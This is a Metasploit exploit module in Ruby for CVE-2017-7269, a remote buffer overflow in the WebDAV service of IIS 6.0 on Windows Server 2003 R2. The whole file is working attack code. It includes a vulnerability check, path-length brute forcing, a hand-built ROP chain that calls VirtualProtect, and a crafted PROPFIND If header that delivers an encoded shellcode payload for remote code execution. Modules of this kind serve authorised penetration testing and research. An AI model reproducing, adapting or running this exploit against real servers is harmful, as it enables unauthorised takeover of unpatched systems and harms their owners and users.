## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft IIS WebDav ScStoragePathFromUrl Overflow', 'Description' => %q{ Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: [ 'Zhiniang Peng', # Original author 'Chen Wu', # Original author 'Dominic Chell ', # metasploit module 'firefart', # metasploit module 'zcgonvh ', # metasploit module 'Rich Whitcroft', # metasploit module 'Lincoln' # minor updates to metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2017-7269' ], [ 'BID', '97127' ], [ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ], [ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ] ], 'Privileged' => false, 'Payload' => { 'Space' => 2000, 'BadChars' => "\x00", 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, 'DisableNops' => true, 'EncoderOptions' => { 'BufferRegister' => 'ESI', } }, 'DefaultOptions' => { 'EXITFUNC' => 'process', 'PrependMigrate' => true, }, 'Targets' => [ [ 'Microsoft Windows Server 2003 R2 SP2 x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 }, ], ], 'Platform' => 'win', 'DisclosureDate' => '2017-03-26', 'DefaultTarget' => 0, 'Notes' => { 'AKA' => ['EXPLODINGCAN'], 'Stability' => [CRASH_SERVICE_DOWN], 'Reliability' => [REPEATABLE_SESSION], 'Side Effects' => [], 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']), OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]), OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]), ] ) end def min_path_len datastore['MINPATHLENGTH'] end def max_path_len datastore['MAXPATHLENGTH'] end def supports_webdav?(headers) if headers['MS-Author-Via'] == 'DAV' || headers['DASL'] == '' || headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ || headers['Public'].to_s.include?('PROPFIND') || headers['Allow'].to_s.include?('PROPFIND') return true end false end def check res = send_request_cgi({ 'uri' => target_uri.path, 'method' => 'OPTIONS' }) unless res vprint_error 'Connection failed' return Exploit::CheckCode::Unknown end unless supports_webdav? res.headers vprint_status 'Server does not support WebDAV' return CheckCode::Safe end if res.headers['Server'].to_s.include? 'IIS/6.0' return CheckCode::Vulnerable end CheckCode::Detected end # corelan.be # rop chain generated with mona.py def create_rop_chain [ # MSVCRT.dll - all Windows 2003 0x77bcb06c, # POP ESI # RETN 0x77bef001, # Write pointer # Garbage 0x77bb2563, # POP EAX # RETN 0x77ba1114, # <- *&VirtualProtect() 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 0x41414141, # junk 0x77bbee22, # XCHG EAX,ESI # ADD BYTE PTR DS:[EAX],AL # RETN 0x77bc9801, # POP EBP # RETN 0x77be2265, # ptr to 'push esp # ret' 0x77bb2563, # POP EAX # RETN 0x03C0946F, 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) 0x77bb48d3, # POP EBX, RET 0x77bf21e0, # .data 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN 0x77bbfc02, # POP ECX # RETN 0x77bef001, # W pointer (lpOldProtect) (-> ecx) 0x77bd8c04, # POP EDI # RETN 0x77bd8c05, # ROP NOP (-> edi) 0x77bb2563, # POP EAX # RETN 0x03c0944f, 0x77bdd441, # SUB EAX, 03c0940f 0x77bb8285, # XCHG EAX,EDX # RETN 0x77bb2563, # POP EAX # RETN 0x90909090, # nop 0x77be6591, # PUSHAD # ADD AL,0EF # RETN ].pack("V*") end # encode string as UTF-8 char format that when converted to UTF-16LE # will represent chars we want in memory def utf_encode_str(str) str.force_encoding('UTF-16LE').encode('UTF-8') end # filler chars to be encoded def make_junk(len) utf_encode_str rand_text_alpha(len) end def exploit # extract the local servername and port from a PROPFIND request # these need to be the values from the backend server # if testing a reverse proxy setup, these values differ # from RHOST and RPORT but can be extracted this way vprint_status('Extracting ServerName and Port') res = send_request_raw( 'method' => 'PROPFIND', 'headers' => { 'Content-Length' => 0 }, 'uri' => target_uri.path ) fail_with(Failure::BadConfig, 'Server did not respond correctly to WebDAV request') if (res.nil? || res.code != 207) xml = res.get_xml_document url = URI.parse(xml.at("//a:response//a:href").text) server_name = url.hostname server_port = url.port server_scheme = url.scheme http_host = "#{server_scheme}://#{server_name}:#{server_port}" vprint_status("Using http_host #{http_host}") print_status "Trying path length #{min_path_len} to #{max_path_len} ..." min_path_len.upto(max_path_len) do |path_len| vprint_status("Trying path length of #{path_len}...") begin buf1 = "<#{http_host}/" buf1 << rand_text_alpha(114 - path_len) buf1 << make_junk(32) # survive SHR instruction 0x02020202 buf1 << utf_encode_str([0x02020202].pack('V')) # str pointer to .data httpext.dll # ebp-328 # used in wcslen calculation buf1 << utf_encode_str([0x680312c0].pack('V')) buf1 << make_junk(40) # 0x680313c0 -> destination pointer used with memcpy buf1 << utf_encode_str([0x680313c0].pack('V')) buf1 << ">" buf1 << " (Not ) <#{http_host}/" buf1 << rand_text_alpha(114 - path_len) buf1 << make_junk(28) # 0x680313c0 -> pointer to call itself at same address for vtable call buf1 << utf_encode_str([0x680313c0].pack('V')) # ROP 2 gadget -> advance ESP past previous instructions to start of ROP chain # msvct.dll 0x77bdf38d # ADD ESP,1C # POP ECX # POP EBX # POP EAX # RETN buf1 << utf_encode_str([0x77bdf38d].pack('V')) buf1 << make_junk(8) # 0x680313c0 -> vtable pointer passed to EAX for call [eax +24] # point to itself at [eax] buf1 << utf_encode_str([0x680313c0].pack('V')) buf1 << make_junk(16) # ROP 1 gadget -> 0x68016082 stack flip get ECX into ESP and push EAX # which also points to new ESP buf1 << utf_encode_str([0x68016082].pack('V')) buf1 << utf_encode_str(create_rop_chain) # GetPC # push esp; pop esi; add esi, 10 buf1 << utf_encode_str("\x54\x5e\x83\xc6") # GetPC ESI +10 plus encode alignment buf1 << utf_encode_str("\x0a\x41") buf1 << payload.encoded buf1 << ">" vprint_status 'Sending payload' res = send_request_raw( 'method' => 'PROPFIND', 'uri' => target_uri.path, 'headers' => { 'Content-Length' => 0, 'If' => "#{buf1}" } ) next unless res vprint_status("Server returned status #{res.code}") next if res.code == 502 || res.code == 400 return if session_created? vprint_status("Unknown Response: #{res.code}") rescue ::Errno::ECONNRESET vprint_status('got a connection reset') next end end end end